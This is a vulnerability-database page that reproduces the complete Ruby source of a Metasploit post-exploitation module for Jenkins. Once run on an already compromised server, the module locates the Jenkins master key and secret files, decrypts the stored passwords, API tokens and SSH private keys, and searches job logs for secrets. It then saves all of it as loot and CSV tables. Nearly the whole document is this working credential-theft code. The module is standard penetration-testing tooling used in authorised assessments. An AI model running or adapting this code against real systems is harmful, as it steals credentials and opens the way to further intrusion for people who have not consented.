Lucene search
K

Jenkins Credential Collector

🗓️ 27 Jun 2017 05:37:22Reported by thesubtletyType 
metasploit
 metasploit
🔗 www.rapid7.com👁 92 Views

This module extracts saved Jenkins credentials, SSH keys, and secrets and stores files in loot with combined csv output

Code
require 'nokogiri'
require 'base64'
require 'digest'
require 'openssl'
require 'sshkey'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::System

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jenkins Credential Collector',
        'Description' => %q{
          This module can be used to extract saved Jenkins credentials, user
          tokens, SSH keys, and secrets. Interesting files will be stored in
          loot along with combined csv output.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'thesubtlety' ],
        'Platform' => [ 'linux', 'win' ],
        'SessionTypes' => %w[shell meterpreter],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_search
            ]
          }
        }
      )
    )
    register_options(
      [
        OptString.new('JENKINS_HOME', [ false, 'Set to the home directory of Jenkins. The Linux versions default to /var/lib/jenkins, but C:\\\\ProgramData\\\\Jenkins\\\\.jenkins on Windows.', ]),
        OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true]),
        OptBool.new('SEARCH_JOBS', [false, 'Search through job history logs for interesting keywords. Increases runtime.', false])
      ]
    )

    @nodes = []
    @creds = []
    @ssh_keys = []
    @api_tokens = []
  end

  def report_creds(user, pass)
    return if user.blank? || pass.blank?

    credential_data = {
      origin_type: :session,
      post_reference_name: fullname,
      private_data: pass,
      private_type: :password,
      session_id: session_db_id,
      username: user,
      workspace_id: myworkspace_id
    }

    create_credential(credential_data)
  end

  def parse_credentialsxml(file)
    # Newer versions of Jenkins do not create `credentials.xml` until credentials have been added via Jenkins client
    # tested on versions 2.401.1, 2.346.3
    if exists?(file)
      vprint_status('Parsing credentials.xml...')
      f = read_file(file)
      if datastore['STORE_LOOT']
        loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)
        vprint_status("File credentials.xml saved to #{loot_path}")
      end
    else
      vprint_status('There is no credential.xml file present')
    end

    xml_doc = Nokogiri::XML(f)
    xml_doc.xpath('//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl').each do |node|
      username = node.xpath('username').text
      password = decrypt(node.xpath('password').text)
      description = node.xpath('description').text
      print_good("Credentials found - Username: #{username} Password: #{password}")
      report_creds(username, password)
      @creds << [username, password, description]
    end

    xml_doc.xpath('//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey').each do |node|
      cred_id = node.xpath('id').text
      username = node.xpath('username').text
      description = node.xpath('description').text
      passphrase = node.xpath('passphrase').text
      passphrase = decrypt(passphrase)
      private_key = node.xpath('//privateKeySource//privateKey').text
      private_key = decrypt(private_key) if !private_key.match?(/----BEGIN/)
      print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || '<empty>'} Username: #{username} Description: #{description}")

      store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']
      @ssh_keys << [cred_id, description, passphrase, username, private_key]

      begin
        k = OpenSSL::PKey::RSA.new(private_key, passphrase)
        key = SSHKey.new(k, passphrase: passphrase, comment: cred_id)
        credential_data = {
          origin_type: :session,
          session_id: session_db_id,
          post_reference_name: refname,
          private_type: :ssh_key,
          private_data: key.key_object.to_s,
          username: cred_id,
          workspace_id: myworkspace_id
        }
        create_credential(credential_data)
      rescue OpenSSL::OpenSSLError => e
        print_error("Could not save SSH key to creds: #{e.message}")
      end
    end
  end

  def parse_users(file)
    f = read_file(file)
    fname = file.tr('\\', '/').split('/')[-2]
    vprint_status("Parsing user #{fname}...")

    username = ''
    api_token = ''
    xml_doc = Nokogiri::XML(f)
    xml_doc.xpath('//user').each do |node|
      username = node.xpath('fullName').text
    end

    xml_doc.xpath('//jenkins.security.ApiTokenProperty').each do |node|
      api_token = decrypt(node.xpath('apiToken').text)
    end

    if api_token
      print_good("API Token found - Username: #{username} Token: #{api_token}")
      @api_tokens << [username, api_token]
      report_creds(username, api_token)
      store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
    end
  end

  def parse_nodes(file)
    f = read_file(file)
    fname = file.tr('\\', '/').split('/')[-2]
    vprint_status("Parsing node #{fname}...")

    node_name = ''
    description = ''
    host = ''
    port = ''
    cred_id = ''
    xml_doc = Nokogiri::XML(f)
    xml_doc.xpath('//slave').each do |node|
      node_name = node.xpath('name').text
      description = node.xpath('description').text
    end

    xml_doc.xpath('//launcher').each do |node|
      host = node.xpath('host').text
      port = node.xpath('port').text
      cred_id = node.xpath('credentialsId').text
    end

    @nodes << [node_name, host, port, description, cred_id]
    print_good("Node Info found - Name: #{node_name} Host: #{host} Port: #{port} CredID: #{cred_id}")
    store_loot("node-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
  end

  def parse_jobs(file)
    f = read_file(file)
    fname = file.tr('\\', '/').split('/')[-4]
    vprint_status("Parsing job #{fname}...")

    username = ''
    pw = ''
    job_name = file.split(%r{/jobs/(.*?)/builds/})[1]
    xml_doc = Nokogiri::XML(f)
    xml_doc.xpath('//hudson.model.PasswordParameterValue').each do |node|
      username = node.xpath('name').text
      pw = decrypt(node.xpath('value').text)
    end

    @creds << [username, pw, '']
    print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") if !pw.blank?
    store_loot("job-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
  end

  def pretty_print_gathered
    creds_table = Rex::Text::Table.new(
      'Header' => 'Creds',
      'Indent' => 1,
      'Columns' =>
        [
          'Username',
          'Password',
          'Description'
        ]
    )
    @creds.uniq.each { |e| creds_table << e }
    print_good("\n" + creds_table.to_s) if !creds_table.rows.count.zero?
    store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']

    api_table = Rex::Text::Table.new(
      'Header' => 'API Keys',
      'Indent' => 1,
      'Columns' =>
        [
          'Username',
          'API Tokens'
        ]
    )
    @api_tokens.uniq.each { |e| api_table << e }
    print_good("\n" + api_table.to_s) if !api_table.rows.count.zero?
    store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']

    node_table = Rex::Text::Table.new(
      'Header' => 'Nodes',
      'Indent' => 1,
      'Columns' =>
        [
          'Node Name',
          'Hostname',
          'Port',
          'Description',
          'Cred Id'
        ]
    )
    @nodes.uniq.each { |e| node_table << e }
    print_good("\n" + node_table.to_s) if !node_table.rows.count.zero?
    store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']

    @ssh_keys.uniq.each do |e|
      print_good('SSH Key')
      print_status(" ID: #{e[0]}")
      print_status(" Description: #{e[1]}") if !e[1].blank?
      print_status(" Passphrase:  #{e[2]}") if !e[2].blank?
      print_status(" Username:    #{e[3]}") if !e[3].blank?
      print_status("\n#{e[4]}")
    end
    ssh_output = @ssh_keys.each { |e| e.join(',') + "\n\n\n" }
    store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?
  end

  def grep_job_history(path, platform)
    print_status('Searching through job history for interesting keywords...')
    case platform
    when 'windows'
      results = cmd_exec('cmd.exe', "/c findstr /s /i \"secret key token password\" \"#{path}*log\"")
    when 'nix'
      results = cmd_exec('/bin/egrep', "-ir \"password|secret|key\" --include log \"#{path}\"")
    end
    store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?
    print_good("Job Log truffles:\n#{results}") if !results.empty?
  end

  def find_configs(path, platform)
    case platform

    when 'windows'
      case session.type
      when 'meterpreter'
        configs = ''
        c = session.fs.file.search(path, 'config.xml', true, -1) \
                   .concat(session.fs.file.search(path, 'build.xml', true, -1))
        c.each { |f| configs << f['path'] + '\\' + f['name'] + "\n" }
      else
        configs = cmd_exec('cmd.exe', "/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")
      end
      configs.split("\n").each do |f|
        case f
        when /\\users\\/
          parse_users(f)
        when /\\jobs\\/
          parse_jobs(f)
        when /\\nodes\\/
          parse_nodes(f)
        end
      end

    when 'nix'
      configs = cmd_exec('/usr/bin/find', "\"#{path}\" -name config.xml -o -name build.xml")
      configs.split("\n").each do |f|
        case f
        when %r{/users/}
          parse_users(f)
        when %r{/jobs/}
          parse_jobs(f)
        when %r{/nodes/}
          parse_nodes(f)
        end
      end
    end
  end

  def get_key_material(home, platform)
    case platform
    when 'windows'
      master_key_path = "#{home}\\secrets\\master.key"
      hudson_secret_key_path = "#{home}\\secrets\\hudson.util.Secret"
      initial_admin_password_path = "#{home}\\secrets\\initialAdminPassword"
    when 'nix'
      master_key_path = "#{home}/secrets/master.key"
      hudson_secret_key_path = "#{home}/secrets/hudson.util.Secret"
      initial_admin_password_path = "#{home}/secrets/initialAdminPassword"
    end

    # Newer versions of Jenkins have an `initialAdminPassword` which contains the initial password set when configuring Jenkins
    # tested on versions 2.401.1, 2.346.3, 2.103
    if exists?(initial_admin_password_path)
      initial_admin_password = read_file(initial_admin_password_path).strip

      if datastore['STORE_LOOT']
        loot_path = store_loot('initialAdminPassword', 'text/plain', session, initial_admin_password)
        print_status("File initialAdminPassword saved to #{loot_path}")
      else
        print_status("File initialAdminPassword contents: #{initial_admin_password}")
      end
    else
      print_error 'Cannot read initialAdminPassword...'
    end

    if exists?(master_key_path)
      @master_key = read_file(master_key_path)

      if datastore['STORE_LOOT']
        loot_path = store_loot('master.key', 'text/plain', session, @master_key)
        print_status("File master.key saved to #{loot_path}")
      else
        print_status("File master.key contents: #{@master_key}")
      end
    else
      print_error 'Cannot read master.key...'
    end

    # Newer versions of Jenkins do not create `hudson.util.Secret` until credentials have been added via Jenkins client
    # tested on versions 2.401.1, 2.346.3
    if exists?(hudson_secret_key_path)
      @hudson_secret_key = read_file(hudson_secret_key_path)

      if datastore['STORE_LOOT']
        loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
        print_status("File hudson.util.Secret saved to #{loot_path}")
      end
    else
      print_error 'Cannot read hudson.util.Secret...'
    end
  end

  def find_home(platform)
    if datastore['JENKINS_HOME']
      if exist?(datastore['JENKINS_HOME'] + '/secret.key.not-so-secret')
        return datastore['JENKINS_HOME']
      end
      print_status(datastore['JENKINS_HOME'] + ' does not seem to contain secrets.')
    end

    print_status('Searching for Jenkins directory... This could take some time...')
    case platform
    when 'windows'
      if exists?('C:\\ProgramData\\Jenkins\\.jenkins\\secret.key.not-so-secret')
        home = 'C:\\ProgramData\\Jenkins\\.jenkins\\'
      else
        case session.type
        when 'meterpreter'
          home = session.fs.file.search(nil, 'secret.key.not-so-secret')[0]['path']
        else
          home = cmd_exec('cmd.exe', "/c dir /b /s c:\*secret.key.not-so-secret", 120).split('\\')[0..-2].join('\\').strip
        end
      end
    when 'nix'
      if exists?('/var/lib/jenkins/secret.key.not-so-secret')
        home = '/var/lib/jenkins/'
      else
        home = cmd_exec('find', "/ -name 'secret.key.not-so-secret' 2>/dev/null", 120).split('/')[0..-2].join('/').strip
      end
    end
    fail_with(Failure::NotFound, 'No Jenkins installation found or readable, exiting...') if !exist?(home)
    print_status("Found Jenkins installation at #{home}")
    home
  end

  def gathernix
    home = find_home('nix')
    get_key_material(home, 'nix')
    parse_credentialsxml(home + '/credentials.xml')
    find_configs(home, 'nix')
    grep_job_history(home + '/jobs/', 'nix') if datastore['SEARCH_JOBS']
    pretty_print_gathered
  end

  def gatherwin
    home = find_home('windows')
    get_key_material(home, 'windows')
    parse_credentialsxml(home + '\\credentials.xml')
    find_configs(home, 'windows')
    grep_job_history(home + '\\jobs\\', 'windows') if datastore['SEARCH_JOBS']
    pretty_print_gathered
  end

  def run
    case session.platform
    when 'linux'
      gathernix
    else
      gatherwin
    end
  end

  def decrypt_key(master_key, hudson_secret_key)
    # https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
    magic = '::::MAGIC::::'
    hashed_master_key = Digest::SHA256.digest(master_key)[0..15]
    intermediate = OpenSSL::Cipher.new('AES-128-ECB')
    intermediate.decrypt
    intermediate.key = hashed_master_key

    salted_final = intermediate.update(hudson_secret_key) + intermediate.final
    raise 'no magic key in a' if !salted_final.include?(magic)

    salted_final[0..15]
  end

  def decrypt_v2(encrypted)
    master_key = @master_key
    hudson_secret_key = @hudson_secret_key
    key = decrypt_key(master_key, hudson_secret_key)
    encrypted_text = Base64.decode64(encrypted).bytes

    iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)
    data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)
    if encrypted_text.length != (1 + 8 + iv_length + data_length)
      print_error("Invalid encrypted string: #{encrypted}")
    end
    iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]
    code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')

    cipher = OpenSSL::Cipher.new('AES-128-CBC')
    cipher.decrypt
    cipher.key = key
    cipher.iv = iv

    text = cipher.update(code) + cipher.final
    text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
    text
  rescue StandardError => e
    print_error(e.to_s)
    return 'Could not decrypt string'
  end

  def decrypt_legacy(encrypted)
    # https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c

    magic = '::::MAGIC::::'
    master_key = @master_key
    hudson_secret_key = @hudson_secret_key
    encrypted = Base64.decode64(encrypted)

    key = decrypt_key(master_key, hudson_secret_key)
    cipher = OpenSSL::Cipher.new('AES-128-ECB')
    cipher.decrypt
    cipher.key = key

    text = cipher.update(encrypted) + cipher.final
    text = text[0..(text.length - magic.size - 1)]
    text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
    text
  rescue StandardError => e
    print_error(e.to_s)
    return 'Could not decrypt string'
  end

  def decrypt(encrypted)
    return if encrypted.empty?

    if encrypted[0] == '{' && encrypted[-1] == '}'
      decrypt_v2(encrypted)
    else
      decrypt_legacy(encrypted)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation